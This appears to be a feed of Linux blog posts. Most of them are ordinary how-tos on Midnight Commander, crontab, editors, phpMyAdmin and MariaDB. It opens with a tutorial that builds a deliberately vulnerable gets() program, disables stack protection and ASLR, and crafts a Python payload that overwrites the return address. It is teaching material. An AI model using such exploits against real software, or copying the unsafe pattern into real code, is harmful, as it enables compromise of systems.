24 Jun 2019

It’s for training purpose only so you can understand what you can do with hacking buffer over flow.

In this part 2, I will show you how to execute a hidden code in a program by manipulating the return address of a stack buffer.

It’s a simple c program, compiled with gcc 4.6.1, debugged with gnu debugger 7.3 on Xubuntu 11.10 and with help of python 2.7.1 to create the exploit.

Type the code below and save to “buffer-hidden.c”.

1 #include
2 hiddencode()
3 {
4 printf("The hidden codes is running........ \n");
5 // put your codes here and //
6 // do what you want //
7 }
9 getinput()
10 {
11 char buffer[20];
12 gets(buffer);
13 puts(buffer);
14 }
16 main()
17 {
18 getinput();
19 return 0;
20 }

Compile it.

$ gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 buffer-hidden.c -o buffer-hidden

There are few options that I want to explain first.
fno-stack-protector -> ability to overwrite stack frame return address
mpreferred-stack-boundary=2 -> set stack pointer to 4 bytes boundary. Nothing to do with gdb.
g -> produce debugger information

Without these options, it will be difficult to get the return address of a stack buffer.

Before, we start, if you see the source code above, hiddencode() function will never be executed. After program receive input from user (gets() function), it will keep in a buffer, then display it (puts(buffer)) in the screen.

Let’s check with gnu debugger.
$ gdb buffer-hidden -silent
Reading symbols from /home/darklinux/buffer-hidden…done.
Change the default Assembly Language format from AT&T to Intel.

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048436 <+0>: push ebp
0x08048437 <+1>: mov ebp,esp
0x08048439 <+3>: call 0x8048418
0x0804843e <+8>: mov eax,0x0
0x08048443 <+13>: pop ebp
0x08048444 <+14>: ret
End of assembler dump.
(gdb) disassemble getinput
Dump of assembler code for function getinput:
0x08048418 <+0>: push ebp
0x08048419 <+1>: mov ebp,esp
0x0804841b <+3>: sub esp,0x18
0x0804841e <+6>: lea eax,[ebp-0x14]
0x08048421 <+9>: mov DWORD PTR [esp],eax
0x08048424 <+12>: call 0x8048310 <gets@plt>
0x08048429 <+17>: lea eax,[ebp-0x14]
0x0804842c <+20>: mov DWORD PTR [esp],eax
0x0804842f <+23>: call 0x8048320 <puts@plt> 0x08048434 <+28>: leave
0x08048435 <+29>: ret
End of assembler dump.

So, how can we execute the hiddencode() function?
The only way is to smash the stack buffer with lot of data until crash and change the return address to address of hiddencode().

Let’s do it.
First, list down the source code.

(gdb) list 1,20
1 #include
2 hiddencode()
3 {
4 printf("The hidden codes is running........ \n");
5 // put your codes here and //
6 // do what you want //
7 }
9 getinput()
10 {
11 char buffer[20];
12 gets(buffer);
13 puts(buffer);
14 }
16 main()
17 {
18 getinput();
19 return 0;
20 }

Get the address of hiddencode() function.

(gdb) disassemble hiddencode
Dump of assembler code for function hiddencode:
0x08048404 <+0>: push ebp
0x08048405 <+1>: mov ebp,esp
0x08048407 <+3>: sub esp,0x4
0x0804840a <+6>: mov DWORD PTR [esp],0x8048520
0x08048411 <+13>: call 0x8048320 <puts@plt> 0x08048416 <+18>: leave
0x08048417 <+19>: ret
End of assembler dump.

The hiddencode() function address is 0x08048404.
Go to background process by press Ctrl-Z.

(gdb) ^Z
[1]+ Stopped gdb buffer-hidden -silent

Test over load with data until crash.

$ python -c 'print"A"*20' > attack.txt ; ./buffer-hidden < attack.txt
$ python -c 'print"A"*21' > attack.txt ; ./buffer-hidden < attack.txt
$ python -c 'print"A"*22' > attack.txt ; ./buffer-hidden < attack.txt
$ python -c 'print"A"*23' > attack.txt ; ./buffer-hidden < attack.txt
$ python -c 'print"A"*24' > attack.txt ; ./buffer-hidden < attack.txt
Segmentation fault
After we know how many characters that we need to crash the program, go back to gdb again.
$ fg
gdb buffer-hidden -silent

No breakpoints or watchpoints.
Before we run the program in gnu debugger (gdb), we have to set the breaktime first. We will put the breaktime at puts() function. So, before, the program take out the data from the buffer, it will stop.
Set break point to ‘puts‘ (before upload to screen).

(gdb) break puts
Breakpoint 4 at 0x1913b0

Run the gdb with input from file attack.txt. We’ve tested already that the character number in attack.txt will crash the buffer.

(gdb) run < attack.txt
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/darklinux/buffer-hidden < attack.txt

Breakpoint 4, 0x001913b0 in puts () from /lib/i386-linux-gnu/libc.so.6

Check the content of Stack Memory.

(gdb) x/20x $esp
0xbffff344:   0x08048434   0xbffff34c    0x41414141   0x41414141
0xbffff354:   0x41414141   0x41414141 0x41414141  0x41414141
0xbffff364:   0x08048400   0x00000000 0x0014a113   0x00000001
0xbffff374:   0xbffff404      0xbffff40c    0x0012eff4    0x0012f918
0xbffff384:   0x00000001   0x00000000 0x0011dbfb   0x0012fad0

For your info, \x41 is the ASCII number for ‘A’.
0x08048400 is the return address.

We will replace the return address with hiddencode() function address which is 0x08048404.
Since I work with Intel microprocessor, the byte order of my memory is Little Endian. The order will start from LSB (lowest significant byte).
So, if the address is 0x08048404 then it should put as \x04\x84\x04\x08.

Let’s try.
Just quit from gdb.

(gdb) quit

Put the memory address after the input characters.

$ python -c 'print"A"*24 + "\x04\x84\x04\x08"' > attack.txt
$ ./buffer-hidden < attack.txt
The hidden codes is running........
Segmentation fault

Although, the program is segmentation fault, but we can execute the hidden code.

by Taufan Lubis on 24 Jun 2019 10:37 PM

19 Jun 2019

I will try to explain in a simple way what is buffer Over flow.
Buffer is a fixed length memory block where you put your data. If you put data in the buffer that more than it’s capacity, then it will flow over. Like empty 100 ml glass. If you pour 120ml water in it, the 20 ml water will flow over the glass.
Of course the buffer over flow is much more complex than it.

Based on NVD (National Vulnerability Database), the US government repository of standards based vulnerability management data represented using the Security Content Automation Protocol (SCAP), Buffer Overflow is still the most occurring vulnerability the last quarter century (1988 – 2012). It’s 35% from top vulnerability type with a critical severity. And still reported until 2019 although the percentage is not that high.

The history of buffer overflow was started in 1988, when Robert Morris, a student from Cornell University, created Morris Worm. It’s the first worm computer launching in November 1988. Morris Worm took advantage of ‘gets() function’ in Unix fingered. The Worm spread very fast in Unix machines on that time.

Worm and Virus computer are ‘malicious software’, the other name is ‘Malware’ or ‘Malcode’. It’s design to damage, steal or other ‘bad’ things to data, hosts or network. The only different is Virus need a host program to spread out meanwhile Worm is stand alone. Worm spreads by exploiting the vulnerability of the target system.

Buffer overflow became famous after Elias Levy (known as Aleph One), wrote a book ‘Smashing the stack for Fun and profit’, published in November 1996 Phrack magazine issue 49. It’s the first complete guideline, step by step introduction to stack buffer over flow vulnerability, how to find and how to exploit it. After this publication, the buffer flow attacks are more often.

There are 3 mains purpose of Hacking Buffer Over flow:
Take control of a program.
Get access as root or administrator
Crash the Target.

Which area that buffer over flow happen?
Stack frame
.data segment
.bss segment

What are the causes of Buffer over flow?
Programmers coding when handling users input are not properly setup.
-Not responsible users exploit the weakness of a program and inject their codes.

Buffer over flow protection with ASLR (Address Space Layout Randomization).
The basic hacking method for buffer over flow are to get the buffer size, get the return address at the end of buffer and inject the buffer with the codes. In order to protect this weakness, starting 2005, address space layout randomization was implemented in Linux after openBSD ver 3.4 implemented it in 2003. Then followed by Microsoft in Windows Vista in 2007, MacOS in 2007, Solaris in 20011, iOS in 2011 and Android in 2015.
ASLR is security technique to protect memory against buffer over flow attack by randomizing the location of stack frame, .data segment, heap and .bss.
I will show you how it work.

Type the code below and compile it.

printf("Press any key to continue! \n");
return 0;

Compile it.

$ gcc keypress.c -o keypress

then run it.


In Linux, all program will be loaded at memory 0x804800.
Let’s check.
Take a snapshot of current process using ‘ps’ and grab the ‘keypress’ PID (Process Identification number).

$ ps -aux | grep keypress
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
1000 7398 0.0 0.0 1820 244 pts/0 S+ 12:23 0:00 ./keypress
1000 7491 0.0 0.0 4188 784 pts/1 S+ 12:25 0:00 grep --color=auto keypress

As you can see, the PID is 7398. It will change every time you run the program.c

Use that PID number to check how keypress are put in memory location.

$ cat /proc/7398/maps
00308000-0047e000 r-xp 00000000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
0047e000-00480000 r--p 00176000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
00480000-00481000 rw-p 00178000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
00481000-00484000 rw-p 00000000 00:00 0
0081e000-0081f000 r-xp 00000000 00:00 0 [vdso]
00bf4000-00c12000 r-xp 00000000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
00c12000-00c13000 r--p 0001d000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
00c13000-00c14000 rw-p 0001e000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
08048000-08049000 r-xp 00000000 08:07 927308 /home/darklinux/keypress
08049000-0804a000 r--p 00000000 08:07 927308 /home/darklinux/keypress
0804a000-0804b000 rw-p 00001000 08:07 927308 /home/darklinux/keypress
b77c6000-b77c7000 rw-p 00000000 00:00 0
b77d7000-b77db000 rw-p 00000000 00:00 0
bfb32000-bfb53000 rw-p 00000000 00:00 0 [stack]

As you can see, the program code keypress is loaded into memory 08048000 meanwhile the stack is at BFB32000.

Now, I open a another Linux Terminal, run they Keypress again.


Open another Linux Terminal, to grap the Keypress PID.

$ ps -aux | grep keypress
Warning: bad ps syntax, perhaps a bogus '-'? See http://procps.sf.net/faq.html
1000 7398 0.0 0.0 1820 244 pts/0 S+ 12:23 0:00 ./keypress
1000 7779 0.0 0.0 1820 244 pts/2 S+ 12:37 0:00 ./keypress
1000 7840 0.0 0.0 4188 784 pts/3 S+ 12:38 0:00 grep --color=auto keypress

Check memory maps.

$ cat /proc/7779/maps
00110000-00286000 r-xp 00000000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
00286000-00288000 r--p 00176000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
00288000-00289000 rw-p 00178000 08:07 6292391 /lib/i386-linux-gnu/libc-2.13.so
00289000-0028c000 rw-p 00000000 00:00 0
00bb0000-00bce000 r-xp 00000000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
00bce000-00bcf000 r--p 0001d000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
00bcf000-00bd0000 rw-p 0001e000 08:07 6292378 /lib/i386-linux-gnu/ld-2.13.so
00f0b000-00f0c000 r-xp 00000000 00:00 0 [vdso]
08048000-08049000 r-xp 00000000 08:07 927308 /home/darklinux/keypress
08049000-0804a000 r--p 00000000 08:07 927308 /home/darklinux/keypress
0804a000-0804b000 rw-p 00001000 08:07 927308 /home/darklinux/keypress
b7865000-b7866000 rw-p 00000000 00:00 0
b7876000-b787a000 rw-p 00000000 00:00 0
bfedc000-bfefd000 rw-p 00000000 00:00 0 [stack]

The only the same address is the instruction program, both are loaded into memory 08048000.
Both Stack memory are different, first Keypress at bfb32000 and the second Keypress is at bfedc000.
Vdso and shared memory also.

Can I Turn OFF the ASLR function?
Yes, you can.
To check your current status of ASLR, type:

$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 2

0 = disable
1 = enable
2 = 1
When you set the value to 1, the address space is randomized, position of stack, vdso (virtual dynamic shared object) and shared memory region.

$ sudo -i
[sudo] password for darklinux:
# echo 0 > /proc/sys/kernel/randomize_va_space
# exit
$ sysctl kernel.randomize_va_space
kernel.randomize_va_space = 0

This is how ASLR work. It will provide randomize memory so it will be difficult to find the vulnerability of address memory location.

But, there is no absolute secure in digital work. After first implemented in 2003 by openBSD, in 2004, Shacham and co-worker state beat ASLR 16 bit with brute force technique in 1 minute.
Then in 2014, Marco and Gilbert bypass 64 bit ASLR in certain condition.

Return Adress in Stack Frame
What is Return Address?
Before I answer this question, let’s take a look a bit about stack frame.

Type the code below and save it to return.c.

1 #include
2 getinput()
3 {
4 char buffer[10];
5 gets(buffer);
6 puts(buffer);
7 }
9 main()
10 {
11 getinput();
12 return 0;
13 }

Compile it.

$ gcc -g -fno-stack-protector -mpreferred-stack-boundary=2 return.c -o return

return2Disassemble with gnu debugger.

$ gdb return -silent
Reading symbols from /home/darklinux/return...done.

Set the format to Intel instead of AT&T.
(gdb) set disassembly-flavor intel

Display the source code so we know where to set the breakpoint.

(gdb) list 1,20
1 #include
2 getinput()
3 {
4 char buffer[10];
5 gets(buffer);
6 puts(buffer);
7 }
9 main()
10 {
11 getinput();
12 return 0;
13 }

Since I need to know the content of buffer in stack frame, I set the breakpoint to “puts”. So, the program will stop before the buffer content print to the screen.

(gdb) break puts
Breakpoint 1 at 0x8048320

Run the program and key in the input. Key in ‘1234567890‘.

(gdb) run
Starting program: /home/darklinux/return

Breakpoint 1, 0x001913b0 in puts ()
from /lib/i386-linux-gnu/libc.so.6

Check the Stack register (esp) and Base register (ebp).

(gdb) info registers
eax 0xbffff366 -1073745050
ecx 0x2aa3a4 2794404
edx 0xbffff366 -1073745050
ebx 0x2a8ff4 2789364
esp 0xbffff35c 0xbffff35c
ebp 0xbffff370 0xbffff370
esi 0x0 0
edi 0x0 0
eip 0x1913b0 0x1913b0 
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Display the content of buffer in the stack frame in Hexadecimal format.

(gdb) x/20x $esp
0xbffff35c: 0x08048420 0xbffff366 0x32313c55 0x36353433
0xbffff36c: 0x30393837 0xbffff300 0x0804842a 0x00000000
0xbffff37c: 0x0014a113 0x00000001 0xbffff414 0xbffff41c
0xbffff38c: 0x0012eff4 0x0012f918 0x00000001 0x00000000
0xbffff39c: 0x0011dbfb 0x0012fad0 0x002a8ff4 0x00000000

As you can see above, the buffer already filled with ‘1234567890‘. In ASCII, 1 = 31hex, 2=32hex, 3=33hex…….0=30hex.

Traditionally, return address is always at Base pointer(ebp)+4.

(gdb) x/x $ebp+4
0xbffff374: 0x0804842a

But, if we don’t put these option (-fno-stack-protector -mpreferred-stack-boundary=2) during compiling, the return address then will not at ebp+4.

The return address refers to address of the next instruction in the code segment. If it’s not available, then the buffer will be over run and the program will crash.

Hacking Buffer Over Flow
Now, I will show sample of buffer over flow.
It’s a very simple program in C. Anything you type will be displayed in the screen with maximum 100 characters buffer that hold.
Type the code below, save as buffertest.c and compile it.

char buffer[100];

return 0;
$ gcc buffertest.c -o buffertest

This program will display anything that you type.

$ ./buffertest
$ ./buffertest

But, there is a vulnerability in this program which is there is no protection for limitation input by user for the buffer size. The maximum input that buffer can hold is 100 characters.
Let’s see what will happen if I key in more than 100 characters.
To produce more than 100 characters, I will use python.

$ python -c 'print"A"*120'
Then I put the output of python to input of buffertest using pipeline (|).
$ python -c 'print"A"*120' | ./buffertest
*** stack smashing detected ***: ./buffertest terminated
Segmentation fault

The program crush.

What is the solution?
In the case above, gets() function didn’t check how many input from user that it can get. Just receive it all. The the user input is more than the capacity of buffer, then it will overflow.
To prevent the problem, you can use fgets() function. The different is, fgets() only receive not more that the maximum limit that it can get.

Let’s try.
File: buffertest-get.c

1 #include
2 getinput()
3 {
4 char buffer[100];
5 gets(buffer);
6 puts(buffer);
7 }
8 main()
9 {
10 getinput();
11 return 0;
12 }

File: buffertest-fget.c

1 #include
2 #define MAX 100
3 getinput()
4 {
5 char buffer[MAX];
6 fgets(buffer,MAX,stdin);
7 puts(buffer);
8 }
9 main()
10 {
11 getinput();
12 return 0;
13 }

Compile both programs:

$ gcc buffertest-get.c -o buffertest-get
$ gcc buffertest-fget.c -o buffertest-fget

Check the result.

$ ls -l buffertest*
-rwxrwxr-x 1 darklinux darklinux 7312 2019-06-07 11:10 buffertest-fget
-rw-rw-r-- 1 darklinux darklinux 145 2019-06-07 11:05 buffertest-fget.c
-rwxrwxr-x 1 darklinux darklinux 7277 2019-06-07 11:10 buffertest-get
-rw-rw-r-- 1 darklinux darklinux 118 2019-06-07 11:09 buffertest-get.c

Input with 120 characters again.

$ python -c 'print"A"*120' | ./buffertest-get
*** stack smashing detected ***: ./buffertest-get terminated
Segmentation fault
$ python -c 'print"A"*120' | ./buffertest-fget

As you can see the different above, fget() function only accept maximum 100 characters, the rest will be ignored.

by Taufan Lubis on 19 Jun 2019 09:58 PM

02 Jun 2019

If you are familiar with Norton Commander that very popular in MS-DOS time, 1986-1998, then mc (gnu midnight commander) is the clone of it. It was started by Miguel de Icaza in 1994. At first release, it was mouseless. It’s pure text user interface based. It’s part of the GNU project and it is licensed under the terms of the GNU General Public License.
There are 3 things that I most like from mc.
-Quick view of a file content.
-Access to hot list directory
-Access to FTP server

To install mc, from your Linux Terminal, type: $ sudo apt-get install mc.
To run the program, just type: $ mc.
Below is the main screen. As you can see:
Menu Title is on the top. There area Left, File, Command, Options and Right.
-There are 2 panels which display the file system.
Function Keys (F1 …. F10)
Linux prompt, where you can type linux command line here for changing directory. For example, “cd /etc”. It will display directory ‘/etc’ in active panel.

To focus on Menu Title, press F9 then arrow down, to display the active menu list.

Then move press the arrow right, arrow left, arrow up and arrow down button, to move around the Menu Title Drop Down list.

Function Key.
-F1 help
-F2 user menu
-F3 view
-F4 edit
-F5 copy
-F6 rename/move
-F7 make directory
-F8 delete directory
-F9 Pulldown Menu
-F10 Quit/exit

F2-User Menu
There are commands that you can apply here, compress, copy to remote, do something such as open the file using vim.

You can see the file content.

Edit the current file. By default mc using mcedit for editing. But you can change it.

To copy file or files, you have to activate both panel. One panel for the source and the other panel for the target. Make sure both of the panel are on ‘Listing Mode’.
Use Ctrl+TAB, to move between panel.

Copy single file.
-Select Target Directory.
-Select file that you want to copy.
-Press F5 button.
-Press ‘Enter’ to continue the process.

Copy multiple files.
-Select Target Directory.
-Select files that you want to copy. To select more that one files, use INS (insert) button. Any files that has selected will be bold. You can repeat until finish.
-Press F5 button.
-Press ‘Enter’ to continue the process.

For Move, It use same methods with copy. The different is only at the source directory, the files will be gone. It move to the target.
For Rename, select the file and press F6.
For example, I want to change file ‘loop.asm’ to ‘loop2.asm’.
-Select the File.
-Press F6.
-Just put a new name.
-Press ‘Enter’ to continue the process.

F7-Make Directory.

-Select an active panel.
-Press F7 to create a new directory.
-Put a name for the directory.
-Press ‘Enter’ to continue the process.

To select more that one files to delete, you can use the same methods with copy files (use INS button).

Press ‘F9‘ to activate the Menu List.

Press ‘F10‘ to Quit.

Shortcut in MC.
Ctrl-u        swap panel
Ctrl-o        panel On/Off
Ctrl-x c     display chmod
Ctrl-x o    display chown
ctrl-x i      display info
ctrl-x q     display quick view
ctrl-TAB    switch active panel
ctrl-t          select file for copy/move
ctrl-\          directory hotlist
alt-c           quick cd
alt-h          command history
alt-e          encoding
alt-?          find file (alt-shift-?)
-ArrowUP          go up 1 line
ArrowDown    go down 1 line
ArrowLeft       go up 1 level directory (you have to check ‘Lynx-like motion’ to activate).
ArrowRight    go down 1 level directory (same as above).

Quick Question and Answer

How to hide hidden file?
From Main Menu File, go to Option > Configuration > un check ‘show Hidden files’.

How to make moving between level directory easier?
By default, when you need to go to higher level of directory, you have to select go to ‘upper level’ (/..) in the List view panel and press ‘Enter’. I don’t like that. I prefer to use ‘Left arrow button’ to go to upper level directory and ‘Right arrow button’ to go to lower level directory.
From Main Menu File, go to Option > Configuration > check ‘Lynx-like motion’.

How to change the default editor?
By default, the editor from mc is mcedit. You can change to your prefer editor.
See, link below:

How to use Directory Hot List?
What is Directory Hot List? It’s a shortcut to access to a selected directory. One of my favorites in mc. For example, you are at ‘/var/cache/apt/archives/’ and you want to go to your ‘/home’ directory. You can do it directly with Directory Hot List.
You can put all your most use directory in it.
To display Directory Hot List, press ‘Ctrl+\’.
Select directory that you want to go, press ‘Enter’ to proceed.

You add or remove the list.

How to use mc with FTP server?
You can upload or download any files with mc via ftp link.
Press F9 to focus on Menu List, go to Right> FTP Link > press Enter.

Enter your UserID+FTP server address, enter the Password and press Enter.

If connection succeed, your FTP directory will be displayed.
To download a file or files, just select the file from your FTP server then press F5 button.
Same apply when you want to upload any file.
You can delete, rename or move files between your local system and ftp server.

by Taufan Lubis on 02 Jun 2019 11:24 PM

Some distros, the default editor is Nano and some is vi. I like vim, may be other users like emacs or atom.
So, how to change our preferred editor become the default text editor?

From your Linux terminal, type:

$ update-alternatives --list editor

It will display any editor installed in your system.

To change the default editor, type:

$ update-alternatives --config editor
There are 5 choices for the alternative editor (providing /usr/bin/editor).

Selection    Path         Priority    Status
*0      /bin/nano            40       auto mode
1       /bin/ed             -100      manual mode
2       /bin/nano            40       manual mode
3       /usr/bin/mcedit      25       manual mode
4       /usr/bin/vim.basic   30       manual mode
5       /usr/bin/vim.tiny    10       manual mode

Press enter to keep the current choice[*], or type selection number:

For example, from nano, I want to change to vim.

$ sudo update-alternatives --config editor
There are 5 choices for the alternative editor (providing /usr/bin/editor).

Selection     Path           Priority    Status
0           /bin/nano           40       auto mode
1           /bin/ed            -100      manual mode
2           /bin/nano           40       manual mode
3           /usr/bin/mcedit     25       manual mode
* 4         /usr/bin/vim.basic  30       manual mode
5           /usr/bin/vim.tiny   10       manual mode

Press enter to keep the current choice[*], or type selection number:

Just press Enter to quit.
Now, my default editor is vim.

by Taufan Lubis on 02 Jun 2019 11:11 PM

30 May 2019

What is Crontab?
Before I answer that question, I will introduce with a linux application called cron. Cron is a daemon (program that runs behind the scene) to execute scheduled commands (Vixie Cron). In another word, cron is an automated time based script execution. Cron is started automatically from /etc/init.d on entering multi-user runlevels. Cron is commonly used for automating system maintenance or administration jobs that may need to run periodically. The term of Cron Jobs is referred from Cron task or jobs.

Any programs that we put in the task scheduler will be placed in a file named ‘crontab file‘.
Cron wakes up every minute to examine all stored crontabs and checking each command to see if it should be run in the current minute.
In this tutorial, I use Linux Ubuntu 11.10.

Let’s check the file. Go to /etc directory and search the file.

$ ls -l crontab
-rw-r--r-- 1 root root 723 2019-05-27 23:11 crontab
$ cat crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

This is the content of my cron file. As you can see, there are 4 cron jobs in my crontab file.

I add a new cron job now. It’s very simple job, just print words into a file and keep adding the words to it again every minute.
I will edit my crontab using vim (text editor). You can use any text editor that you have, nano, emacs etc.
Go to /etc folder and open the crontab file.

$ sudo vim crontab

I will give a job for cron to print words ‘testing cron’ into file testing.txt.
echo “testing cron” >> testing.txt
With operator “>>” will keep adding ‘testing cron’ into a new line in texting.txt.

Let’s check the result.

$ ls -l testing.txt
-rw-rw-r-- 1 darklinux darklinux 13 2019-05-28 04:57 testing.txt
$ cat testing.txt
testing cron
$ cat testing.txt
testing cron
testing cron
$ cat testing.txt
testing cron
testing cron
testing cron

After one minute, cron create a new file (testing.txt) and add 1 line (testing cron) in it.
Another one minute, I checked the content, another line added.
And another one minute, another line added.
It will keep continue until you remove the task.

Each entry in crontab file consists of six fields:
minute(s) hour(s) dayofmonth(s) month(s) dayofweek(s) command(s)

The fields are separated by spaces or tabs.

minute(m) 0-59 minute – command sequence executes
hour(h) 0-23 hour – command sequence executes
day(dom) 0-31 day – command sequence executes
month(mon) 0-12 month – command sequence executes
weekday(dow) 0-6 day of the week – command sequence executes.(Sunday=0, Monday=1, Tuesday=2, Wednesday=3 and so on).

* (asterisk) is usedfor matching all the records
Below are the few combination of times setting that you can use in your cron.
Now let’s talk about Crontab.
Crontab is an application that maintain crontab file for individual users.

Why I said individual users?
Because, each user can have their own crontab file.
Let’s check. In my system, I have 2 users, root and normal user. I will add echo testing jobs on each cron file.
echo “testing cron in root” >> testing-root.txt
echo “testing cron in normal user” >> testing-normal.txt

First, I will edit my crontab in normal user.
To create the crontab file, just type: $sudo crontab -e.

$ sudo crontab -e
[sudo] password for darklinux:
crontab: installing new crontab

Second, I will login as root and create another crontab file (under root).

As you can see, cron run on different user access. Of course as root, you can see all the result.

To remove crontab, type: sudo crontah -r
To show crontab file, type: sudo crontab -l

How can I set the time parameter so it can run every 5 seconds?
You can not. The time parameter is set minimum by minute.
But, you can do in a script with looping. Cron only run your script one time but the script looping will never stop until your terminate it.
If you set the time delay inside your script then the setting time in seconds will work.
I will give you the sampe. This script will run ‘uptime’ every 2 seconds.

Well, that’s it. Happy trying.

by Taufan Lubis on 30 May 2019 10:35 PM

28 Mar 2019

PowerPoint is the most appealing programming for introduction. In spite of the fact that there is some other programming that is likewise intended for execution, PowerPoint is as yet the most open programming to utilize. A few people are searching for web video player PowerPoint Mac. There are a few things you can think about […]
by Andrecht on 28 Mar 2019 05:53 AM

14 Mar 2019

Sebetulnya yang saya lakukan ini hanya untuk mesin percobaan/eksperimen. Beberapa bahan bacaan yang saya pernah ikuti menyarankan untuk tidak menggunakan XAMPP sebagai bagian dari mesin produksi. Cmiiw. Tapi bisa jadi, mungkin saja, ada yang tidak ingin repot-repot melakukan konfigurasi pada mesinnya dengan menggunakan XAMPP sebagai perangkat lunak peladen web.

Sebagai catatan, phpMyAdmin yang sudah diamankan dalam tulisan ini tetap tidak akan bisa diakses melalui jaringan, karena secara baku, phpMyAdmin dalam XAMPP tidak diizinkan, lewat konfigurasinya, untuk diakses dalam jaringan. Apa yang dipaparkan dalam tulisan ini hanya cara bagaimana cara menyetel password pengguna root pada akses MySQL dalam XAMPP serta korelasinya dengan phpMyAdmin.

Sebetulnya, cara untuk memasang password pada pengguna root MySQL sudah disediakan dalam HOW-TO guides yang diberikan pada laman dashboard (localhost/dashboard). Dalam tautan HOW-TO guides tadi, silahkan klik tautan dengan judul, "http://localhost/dashboard/docs/reset-mysql-password.html."

Ketika kita sudah mendefinisikan password untuk pengguna root MySQL pada XAMPP, biasanya, kejadiannya, phpMyAdmin kemudian tidak bisa diakses dan muncul pesan galat pada peramban, seperti ini:

Gambar 1. Pesan galat setelah pengguna root diberikan password

Kemudian, bagaimana caranya supaya phpMyAdmin bisa diakses kembali dalam localhost dengan kondisi pengguna root sudah diberikan password? Pernah dengar adminer? Adminer memiliki fungsi seperti phpMyAdmin. Bisa mengakses data MySQL lewat peramban. Tinggal pasang adminer, selesai. Tetapi, ada saja yang tidak nyaman menggunakan adminer. Lebih familiar menggunakan phpMyAdmin, katanya.

Kembali ke pertanyaan awal, bagaimana? Caranya, silahkan buka berkas config.inc.php yang berada di dalam direktori phpMyAdmin pada XAMPP. Cari baris ini:
$cfg['Servers'][$i]['auth_type'] = 'config';
kemudian ubah menjadi seperti ini:

$cfg['Servers'][$i]['auth_type'] = 'cookie'; 
Simpan perubahan yang dilakukan, kemudian segarkan tautan phpMyAdmin yang memberikan pesan galat tadi. Hasilnya nanti seperti ini:

Gambar 2. phpMyAdmin bisa diakses kembali dengan memasukkan password

phpMyAdmin telah dapat diakses dalam localhost menggunakan password yang telah kita setel sebelumnya.

Demikian, semoga membantu. Silakan tulis pada komentar apabila ada yang perlu ditambahkan atau diperbaiki pada tulisan ini. Terima kasih.
by Arif Syamsudin on 14 Mar 2019 11:18 AM

03 Mar 2019

SLiMS: XML Element

Arif Syamsudin

Gambar 1. Pesan galat ketika mengakses layanan Z3950 SRU

Menemukan pesan galat yang sama, ketika Anda akan menggunakan fitur salin katalog Z3950 SRU? Itu artinya, mesin yang Anda gunakan sebagai peladen SLiMS memerlukan paket:
Apabila mesin yang Anda gunakan menggunakan sistem operasi GnU/Linux Ubuntu, untuk memasang paket tersebut silahkan masukkan perintah:
$ sudo apt install php7.2-xml
Pesan galat pada gambar di atas disampaikan oleh GnU/Linux Ubuntu 18.04 dengan segala paket lamp-server yang ada di dalam repositorinya.

Semoga membantu :). 

by Arif Syamsudin on 03 Mar 2019 01:39 PM

22 Feb 2019

Currently I used OpenSUSE as my operating system, so to fix the issue as the title of this post is I'll modified the MySQL config at /etc/my.cnf. Open up the my.cnf config and go find the [client] section and uncomment these 2 lines below:
# port       = 3306
# socket = /run/mysql/mysql.sock
Don't forget to change mode the my.cnf config file to 600, so just only you can edit it.
# chmod 600 my.cnf
To take effect, please restart mysql service.
# service mysql start
Now you can connect to mysql client by this command
# mysql -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.2.15-MariaDB openSUSE package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
Let say you haven't set the root password yet, you could reset/set a new root password with this following step below.
MariaDB [(none)]> show databases;
| Database |
| information_schema |
| mysql |
| performance_schema |
| test |
4 rows in set (0.00 sec)

MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

MariaDB [mysql]> show tables;
| Tables_in_mysql |
| user |
30 rows in set (0.00 sec)
Now set a new root password
MariaDB [mysql]> update user set password=PASSWORD("YOUR_NEW_PASSWORD") where User='root';

Query OK, 4 rows affected (0.00 sec)
Rows matched: 4 Changed: 4 Warnings: 0
And then tells MySQL to put the new changes.
MariaDB [mysql]> flush privileges;
Query OK, 0 rows affected (0.00 sec)
After all steps above done, you can now test it to connect to MySQL client with password that you've created.
# mysql -u root -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 9
Server version: 10.2.15-MariaDB openSUSE package

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
That's all.
by Darmanex on 22 Feb 2019 05:48 AM

21 Feb 2019

Dulu saya pernah mengalami bekerja belum/tidak mendapat jatah komputer bertampilan grafis. Namun, saya dapat hak akses komputer yang dijadikan server kecil yang hanya punya tampilan teks saja. Mau tidak mau mengakses apapun berbasis teks, termasuk membuka situs web.

